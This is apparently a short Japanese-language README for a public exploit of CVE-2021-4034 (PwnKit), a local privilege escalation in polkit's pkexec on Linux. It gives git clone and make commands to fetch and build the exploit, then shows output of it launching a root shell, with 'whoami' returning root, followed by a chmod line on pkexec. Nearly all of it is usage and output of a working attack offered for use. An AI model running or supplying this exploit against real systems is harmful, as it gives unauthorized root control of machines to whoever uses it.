
# CVE-2021-4034(PwnKit)のローカル権限昇格エクスプロイト polkitのpkexecを標的とし、脆弱なLinuxシステム上でrootシェルアクセスを提供します。
$ git clone https://github.com/whokilleddb/CVE-2021-4034
$ cd CVE-2021-4034
$ make
[!] CVE-2021-4034 Exploit By whokilleddb
[!] Initializing Setup
[+] Setup Done :D
[!] Setting Root Privileges
[!] Launching Root Shell
# /bin/whoami
root
# chmod 0755 `which pkexec`
注: include/config.h を編集することでオプションを設定できます。